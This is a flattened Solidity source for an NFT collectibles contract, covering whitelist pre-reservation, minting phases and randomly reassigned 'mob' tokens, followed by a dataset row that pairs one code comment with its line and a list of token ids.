address trapContract; // Address of Traps contract
address whitelist; // Address of Whitelist contract
uint16 constant SALE_MAX = 10000; // Max number of tokens that can be sold
uint16[4] mobTokenIds; // Partial IDs of current mobs. 4th slot is highest id (used to detect mob end)
uint16 constant TOTAL_MOB_COUNT = 500; // Total number of mobs that will exist
uint constant MOB_OFFSET = 100000; // TokenId offset for mobs
bool mobReleased = false; // Has mob been released
bytes32 mobHash; // Current mob data
mapping(address => uint256) internal balances; // Mapping of balances (not including active mobs)
mapping (uint256 => address) internal allowance; // Mapping of allowances
mapping (address => mapping (address => bool)) internal authorised; // Mapping of token allowances
mapping(uint256 => address) owners; // Mapping of owners (not including active mobs)
uint[] tokens; // Array of tokenIds (not including active mobs)
mapping (bytes4 => bool) internal supportedInterfaces;
constructor(string memory _uriBase, string memory _uriSuffix, address _trapContract, address _whitelist){
supportedInterfaces[0x80ac58cd] = true; //ERC721
supportedInterfaces[0x5b5e139f] = true; //ERC721Metadata
supportedInterfaces[0x01ffc9a7] = true; //ERC165
mobTokenIds[0] = 1;
mobTokenIds[1] = 2;
mobTokenIds[2] = 3;
mobTokenIds[3] = 3;
trapContract = _trapContract;
whitelist = _whitelist;
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
//Init mobHash segments
mobHash =
shiftBytes(bytes32(uint(0)),0) ^ // Random data that changes every tx to even out gas costs
shiftBytes(bytes32(uint(1)),1) ^ // Number of owners to base ownership calcs on for mob 0
shiftBytes(bytes32(uint(1)),2) ^ // Number of owners to base ownership calcs on for mob 1
shiftBytes(bytes32(uint(1)),3) ^ // Number of owners to base ownership calcs on for mob 2
shiftBytes(bytes32(uint(0)),4); // Location data for calculating ownership of all mobs
}
/// Mint-Reserve State
/// @notice Get struct properties of reservation mapping for given address, as well as preReserve count.
/// @dev Combined these to lower compiled contract size (Spurious Dragon).
/// @param _tokenOwner Address of reservation data to check
/// @return _whitelistReserveCount Number of times address has pre-reserved
/// @return blockNumber Block number of last reservation
/// @return tokenIds Array of reserved, unclaimed tokens
function mintReserveState(address _tokenOwner) public view returns(uint8 _whitelistReserveCount, uint24 blockNumber, uint16[] memory tokenIds){
return (whitelistReserveCount[_tokenOwner],reservations[_tokenOwner].block,reservations[_tokenOwner].tokens);
}
/// Contract State
/// @notice View function for various contract state properties
/// @dev Combined these to lower compiled contract size (Spurious Dragon).
/// @return _tokenCount Number of tokens reserved or minted (not including mobs)
/// @return _phase Current launch phase
/// @return mobMax Uint used to calculate IDs and number if mobs in circulation.
function contractState() public view returns(uint _tokenCount, Phase _phase, uint mobMax){
return (tokenCount,phase(),mobTokenIds[3]);
}
/// Pre-Reserve
/// @notice Pre-reserve tokens during Pre-Reserve phase if whitelisted. Max 2 per address. Must pay mint fee
/// @param merkleProof Merkle proof for your address in the whitelist
/// @param _count Number of tokens to reserve
function preReserve(bytes32[] memory merkleProof, uint8 _count) external payable{
require(!paused,"paused");
require(phase() == Phase.PreReserve,"phase");
require(msg.value >= PRICE_MINT * _count,"PRICE_MINT");
require(whitelistReserveCount[msg.sender] + _count <= WHITELIST_RESERVE_LIMIT,"whitelistReserveCount");
require(presaleCount + _count < PRESALE_LIMIT,"PRESALE_LIMIT");
require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),"whitelist");
whitelistReserveCount[msg.sender] += _count;
presaleCount += _count;
_reserve(_count,msg.sender,true);
}
/// Mint Giveaway
/// @notice Mint tokens for giveaway
/// @param numTokens Number of tokens to mint
function mintGiveaway(uint16 numTokens) public onlyOwner {
require(tokensGiven + numTokens <= TOKENS_GIVEAWAY,"tokensGiven");
require(tokenCount + numTokens <= SALE_MAX,"SALE_MAX");
for(uint i = 0; i < numTokens; i++){
tokensGiven++;
_mint(msg.sender,++tokenCount);
}
}
/// Withdraw All
/// @notice Withdraw all Eth from mint fees
function withdrawAll() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
/// Reserve
/// @notice Reserve tokens. Max 10 per tx, one tx per 10 blocks. Can't be called by contracts. Must be in Reserve phase. Must pay mint fee.
/// @param _count Number of tokens to reserve
/// @dev requires tx.origin == msg.sender
function reserve(uint16 _count) public payable{
require(msg.sender == tx.origin,"origin");
require(!paused,"paused");
require(phase() == Phase.Reserve,"phase");
require(_count <= TRANSACTION_LIMIT,"TRANSACTION_LIMIT");
require(msg.value >= uint(_count) * PRICE_MINT,"PRICE MINT");
_reserve(_count,msg.sender,false);
}
/// Internal Reserve
/// @notice Does the work in both Reserve and PreReserve
/// @param _count Number of tokens being reserved
/// @param _to Address that is reserving
/// @param ignoreCooldown Don't revert for cooldown.Used in pre-reserve
function _reserve(uint16 _count, address _to, bool ignoreCooldown) internal{
require(tokenCount + _count <= SALE_MAX, "SALE_MAX");
require(ignoreCooldown ||
reservations[_to].block == 0 || block.number >= uint(reservations[_to].block) + COOLDOWN
,"COOLDOWN");
for(uint16 i = 0; i < _count; i++){
reservations[address(_to)].tokens.push(++tokenCount);
emit Reserve(_to,tokenCount);
}
reservations[_to].block = uint24(block.number);
}
/// Claim
/// @notice Mint reserved tokens
/// @param reservist Address with reserved tokens.
/// @param _count Number of reserved tokens mint.
/// @dev Allows anyone to call claim for anyone else. Will mint to the address that made the reservations.
function claim(address reservist, uint _count) public{
require(!paused,"paused");
require(
phase() == Phase.Final
,"phase");
require( reservations[reservist].tokens.length >= _count, "_count");
for(uint i = 0; i < _count; i++){
uint tokenId = uint(reservations[reservist].tokens[reservations[reservist].tokens.length - 1]);
reservations[reservist].tokens.pop();
_mint(reservist,tokenId);
emit Claim(reservist,tokenId);
}
updateMobStart();
updateMobFinish();
}
/// Mint
/// @notice Mint unreserved tokens. Must pay mint fee.
/// @param _count Number of reserved tokens mint.
function mint(uint _count) public payable{
require(!paused,"paused");
require(
phase() == Phase.Final
,"phase");
require(msg.value >= _count * PRICE_MINT,"PRICE");
require(tokenCount + uint16(_count) <= SALE_MAX,"SALE_MAX");
for(uint i = 0; i < _count; i++){
_mint(msg.sender,uint(++tokenCount));
}
updateMobStart();
updateMobFinish();
}
/// Update URI
/// @notice Update URI base and suffix
/// @param _uriBase URI base
/// @param _uriSuffix URI suffix
/// @dev Pushing size limits (Spurious Dragon), so rather than having an explicit lock function, it can be implicit by renouncing ownership.
function updateURI(string memory _uriBase, string memory _uriSuffix) public onlyOwner{
__uriBase = _uriBase;
__uriSuffix = _uriSuffix;
}
/// Phase
/// @notice Internal function to calculate current Phase
/// @return Phase (enum value)
function phase() internal view returns(Phase){
uint _startTime = startTime;
if(_startTime == 0){
return Phase.Init;
}else if(block.timestamp <= _startTime + 2 hours){
return Phase.PreReserve;
}else if(block.timestamp <= _startTime + 2 hours + 1 days && tokenCount < SALE_MAX){
return Phase.Reserve;
}else{
return Phase.Final;
}
}
/// Pause State
/// @notice Get current pause state
/// @return _paused Contract is paused
/// @return _startTime Start timestamp of Cat phase (adjusted for pauses)
/// @return _pauseTime Timestamp of pause
function pauseState() view public returns(bool _paused,uint _startTime,uint _pauseTime){
return (paused,startTime,pauseTime);
}
/// Disable pause
/// @notice Disable mint pausability
function disablePause() public onlyOwner{
if(paused) togglePause();
unpausable = true;
}
/// Toggle pause
/// @notice Toggle pause on/off
function togglePause() public onlyOwner{
if(startTime == 0){
startTime = block.timestamp;
paused = false;
emit Pause(false,startTime,pauseTime);
return;
}
require(!unpausable,"unpausable");
bool _pause = !paused;
if(_pause){
pauseTime = block.timestamp;
}else if(pauseTime != 0){
startTime += block.timestamp - pauseTime;
delete pauseTime;
}
paused = _pause;
emit Pause(_pause,startTime,pauseTime);
}
/// Get Mob Owner
/// @notice Internal func to calculate the owner of a given mob for a given mob hash
/// @param _mobIndex Index of mob to check (0-2)
/// @param _mobHash Mob hash to base calcs off
/// @return Address of the calculated owner
function getMobOwner(uint _mobIndex, bytes32 _mobHash) internal view returns(address){
bytes32 mobModulo = extractBytes(_mobHash, _mobIndex + 1);
bytes32 locationHash = extractBytes(_mobHash,4);
uint hash = uint(keccak256(abi.encodePacked(locationHash,_mobIndex,mobModulo)));
uint index = hash % uint(mobModulo);
address _owner = owners[tokens[index]];
if(mobReleased){
return _owner;
}else{
return address(0);
}
}
/// Get Mob Token ID (internal)
/// @notice Internal func to calculate mob token ID given an index
/// @dev Doesn't check invalid vals, inferred by places where its used and saves gas
/// @param _mobIndex Index of mob to calculate
/// @return tokenId of mob
function _getMobTokenId(uint _mobIndex) internal view returns(uint){
return MOB_OFFSET+uint(mobTokenIds[_mobIndex]);
}
/// Get Mob Token ID
/// @notice Calculate mob token ID given an index
/// @dev Doesn't fail for _mobIndex = 3, because of Spurious Dragon and because it doesnt matter
/// @param _mobIndex Index of mob to calculate
/// @return tokenId of mob
function getMobTokenId(uint _mobIndex) public view returns(uint){
uint tokenId = _getMobTokenId(_mobIndex);
require(tokenId != MOB_OFFSET,"no token");
return tokenId;
}
/// Extract Bytes
/// @notice Get the nth 4-byte chunk from a bytes32
/// @param data Data to extract bytes from
/// @param index Index of chunk
function extractBytes(bytes32 data, uint index) internal pure returns(bytes32){
uint inset = 32 * ( 7 - index );
uint outset = 32 * index;
return ((data << outset) >> outset) >> inset;
}
/// Extract Bytes
/// @notice Bit shift a bytes32 for XOR packing
/// @param data Data to bit shift
/// @param index How many 4-byte segments to shift it by
function shiftBytes(bytes32 data, uint index) internal pure returns(bytes32){
uint inset = 32 * ( 7 - index );
return data << inset;
}
/// Release Mob
/// @notice Start Mob
function releaseMob() public onlyOwner{
require(!mobReleased,"released");
require(tokens.length > 0, "no mint");
mobReleased = true;
bytes32 _mobHash = mobHash; //READ
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);
bytes32 mobModulo = bytes32(tokens.length);
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4) ;
bytes32 newMobHash = shiftBytes(updateHash,0) ^ //WRITE
shiftBytes(mobModulo,1) ^
shiftBytes(mobModulo,2) ^
shiftBytes(mobModulo,3) ^
shiftBytes(destinationHash,4);
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //EMIT x 3 max
}
mobHash = newMobHash;
}
/// Update Mobs Start
/// @notice Internal - Emits all the events sending mobs to 0. First part of mobs moving
function updateMobStart() internal{
if(!mobReleased || mobTokenIds[3] == 0) return;
//BURN THEM
bytes32 _mobHash = mobHash; //READ
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
if(_tokenId != MOB_OFFSET){
emit Transfer(getMobOwner(i,_mobHash),address(0),_tokenId); //READx3, EMIT x 3 max
}
}
}
/// Update Mobs Finish
/// @notice Internal - Calculates mob owners and emits events sending to them. Second part of mobs moving
function updateMobFinish() internal {
if(!mobReleased) {
require(gasleft() > 100000,"gas failsafe");
return;
}
if(mobTokenIds[3] == 0) return;
require(gasleft() > 64500,"gas failsafe");
bytes32 _mobHash = mobHash; //READ
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);
bytes32 mobModulo0 = extractBytes(_mobHash,1);
bytes32 mobModulo1 = extractBytes(_mobHash,2);
bytes32 mobModulo2 = extractBytes(_mobHash,3);
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);
bytes32 newMobHash = shiftBytes(updateHash,0) ^
shiftBytes(mobModulo0,1) ^
shiftBytes(mobModulo1,2) ^
shiftBytes(mobModulo2,3) ^
shiftBytes(destinationHash,4);
mobHash = newMobHash; //WRITE
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
if(_tokenId != MOB_OFFSET){
emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //READx3, EMIT x 3 max
}
}
}
/// Update Catch Mob
/// @notice Catch a mob that's in your wallet
/// @param _mobIndex Index of mob to catch
/// @dev Mints real token and updates mobs
function catchMob(uint _mobIndex) public {
IGBATrapsPartial(trapContract).useTrap(msg.sender);
require(_mobIndex < 3,"mobIndex");
bytes32 _mobHash = mobHash;
address mobOwner = getMobOwner(_mobIndex,_mobHash);
require(msg.sender == mobOwner,"owner");
updateMobStart(); //Kill all mobs
bytes32 updateHash = extractBytes(_mobHash,0);
bytes32[3] memory mobModulo;
for(uint i = 0; i < 3; i++){
mobModulo[i] = extractBytes(_mobHash,i + 1);
}
uint mobTokenId = _getMobTokenId(_mobIndex); //READ
//Mint real one
_mint(msg.sender,mobTokenId+MOB_OFFSET);
bool mintNewMob = true;
if(mobTokenIds[3] < TOTAL_MOB_COUNT){
mobTokenIds[_mobIndex] = ++mobTokenIds[3];
}else{
mintNewMob = false;
//if final 3
mobTokenIds[3]++;
mobTokenIds[_mobIndex] = 0;
if(mobTokenIds[3] == TOTAL_MOB_COUNT + 3){
//if final mob, clear last slot to identify end condition
delete mobTokenIds[3];
}
}
mobModulo[_mobIndex] = bytes32(tokens.length);
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);
mobHash = shiftBytes(updateHash,0) ^ //WRITE
shiftBytes(mobModulo[0],1) ^
shiftBytes(mobModulo[1],2) ^
shiftBytes(mobModulo[2],3) ^
shiftBytes(destinationHash,4);
updateMobFinish(); //release mobs
}
/// Mint (internal)
/// @notice Mints real tokens as per ERC721
/// @param _to Address to mint it for
/// @param _tokenId Token to mint
function _mint(address _to,uint _tokenId) internal{
emit Transfer(address(0), _to, _tokenId);
owners[_tokenId] =_to;
balances[_to]++;
tokens.push(_tokenId);
}
/// Is Valid Token (internal)
/// @notice Checks if given tokenId exists (Doesn't apply to mobs)
/// @param _tokenId TokenId to check
function isValidToken(uint256 _tokenId) internal view returns(bool){
return owners[_tokenId] != address(0);
}
/// Require Valid (internal)
/// @notice Reverts if given token doesn't exist
function requireValid(uint _tokenId) internal view{
require(isValidToken(_tokenId),"valid");
}
/// Balance Of
/// @notice ERC721 balanceOf func, includes active mobs
function balanceOf(address _owner) external override view returns (uint256){
uint _balance = balances[_owner];
bytes32 _mobHash = mobHash;
for(uint i = 0; i < 3; i++){
if(getMobOwner(i, _mobHash) == _owner){
_balance++;
}
}
return _balance;
}
/// Owner Of
/// @notice ERC721 ownerOf func, includes active mobs
function ownerOf(uint256 _tokenId) public override view returns(address){
bytes32 _mobHash = mobHash;
for(uint i = 0; i < 3; i++){
if(_getMobTokenId(i) == _tokenId){
address owner = getMobOwner(i,_mobHash);
require(owner != address(0),"invalid");
return owner;
}
}
requireValid(_tokenId);
return owners[_tokenId];
}
/// Approve
/// @notice ERC721 function
function approve(address _approved, uint256 _tokenId) external override{
address _owner = owners[_tokenId];
require( _owner == msg.sender //Require Sender Owns Token
|| authorised[_owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(_owner, _approved, _tokenId);
allowance[_tokenId] = _approved;
}
/// Get Approved
/// @notice ERC721 function
function getApproved(uint256 _tokenId) external view override returns (address) {
// require(isValidToken(_tokenId),"invalid");
requireValid(_tokenId);
return allowance[_tokenId];
}
/// Is Approved For All
/// @notice ERC721 function
function isApprovedForAll(address _owner, address _operator) external view override returns (bool) {
return authorised[_owner][_operator];
}
/// Set Approval For All
/// @notice ERC721 function
function setApprovalForAll(address _operator, bool _approved) external override {
emit ApprovalForAll(msg.sender,_operator, _approved);
authorised[msg.sender][_operator] = _approved;
}
/// Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
requireValid(_tokenId);
//Check Transferable
//There is a token validity check in ownerOf
address _owner = owners[_tokenId];
require ( _owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| allowance[_tokenId] == msg.sender //or is approved for this token
|| authorised[_owner][msg.sender] //or is approved for all
,"permission");
require(_owner == _from,"owner");
require(_to != address(0),"zero");
updateMobStart();
emit Transfer(_from, _to, _tokenId);
owners[_tokenId] =_to;
balances[_from]--;
balances[_to]++;
//Reset approved if there is one
if(allowance[_tokenId] != address(0)){
delete allowance[_tokenId];
}
updateMobFinish();
}
/// Safe Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public override {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
IERC721TokenReceiver receiver = IERC721TokenReceiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
/// Safe Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
safeTransferFrom(_from,_to,_tokenId,"");
}
/// Name
/// @notice ERC721 Metadata function
/// @return _name Name of token
function name() external pure override returns (string memory _name){
return "Ghostbusters: Afterlife Collectibles";
}
/// Symbol
/// @notice ERC721 Metadata function
/// @return _symbol Symbol of token
function symbol() external pure override returns (string memory _symbol){
return "GBAC";
}
/// Token URI
/// @notice ERC721 Metadata function (includes active mobs)
/// @param _tokenId ID of token to check
/// @return URI (string)
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
ownerOf(_tokenId); //includes validity check
return string(abi.encodePacked(__uriBase,toString(_tokenId),__uriSuffix));
}
/// To String
/// @notice Converts uint to string
/// @param value uint to convert
/// @return String
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
// ENUMERABLE FUNCTIONS (not actually needed for compliance but everyone likes totalSupply)
function totalSupply() public view returns (uint256){
uint highestMob = mobTokenIds[3];
if(!mobReleased || highestMob == 0){
return tokens.length;
}else if(highestMob < TOTAL_MOB_COUNT){
return tokens.length + 3;
}else{
return tokens.length + 3 - (TOTAL_MOB_COUNT - highestMob);
}
}
function supportsInterface(bytes4 interfaceID) external override view returns (bool){
return supportedInterfaces[interfaceID];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface IERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface IERC721Enumerable /* is ERC721 */ {
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface IERC721Metadata /* is ERC721 */ {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface IERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author Andrew Parker
/// @title Ghost Busters: Afterlife Traps NFT contract partial interface
/// @notice For viewer func, and also for MSP because Traps relies on OpenZepp and MSP uses pure 721 implementation.
interface IGBATrapsPartial{
enum State { Paused, Whitelist, Public, Final}
function useTrap(address owner) external;
function tokensClaimed() external view returns(uint);
function hasMinted(address minter) external view returns(bool);
function saleStarted() external view returns(bool);
function whitelistEndTime() external view returns(uint);
function balanceOf(address _owner) external view returns (uint256);
function mintState() external view returns(State);
function countdown() external view returns(uint);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* OpenZeppelin's Ownable, but without Context, because it saves about 500 bytes
* and compiled contract is pushing limits of Spurious Dragon and is unnecessary.
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "onlyOwner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "zero");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @author Andrew Parker
/// @title GBA Whitelist NFT Contract
/// @notice Implementation of OpenZeppelin MerkleProof contract for GBA MiniStayPuft and Traps NFTs
contract GBAWhitelist{
bytes32 merkleRoot;
/// Constructor
/// @param _merkleRoot root of merkle tree
constructor(bytes32 _merkleRoot){
merkleRoot = _merkleRoot;
}
/// Is Whitelisted
/// @notice Is a given address whitelisted based on proof provided
/// @param proof Merkle proof
/// @param claimer address to check
/// @return Is whitelisted
function isWhitelisted(bytes32[] memory proof, address claimer) public view returns(bool){
bytes32 leaf = keccak256(abi.encodePacked(claimer));
return MerkleProof.verify(proof,merkleRoot,leaf);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
| Mapping of owners (not including active mobs)
| mapping(uint256 => address) owners; | 12,695,783 | [
1,
3233,
434,
25937,
261,
902,
6508,
2695,
312,
10992,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
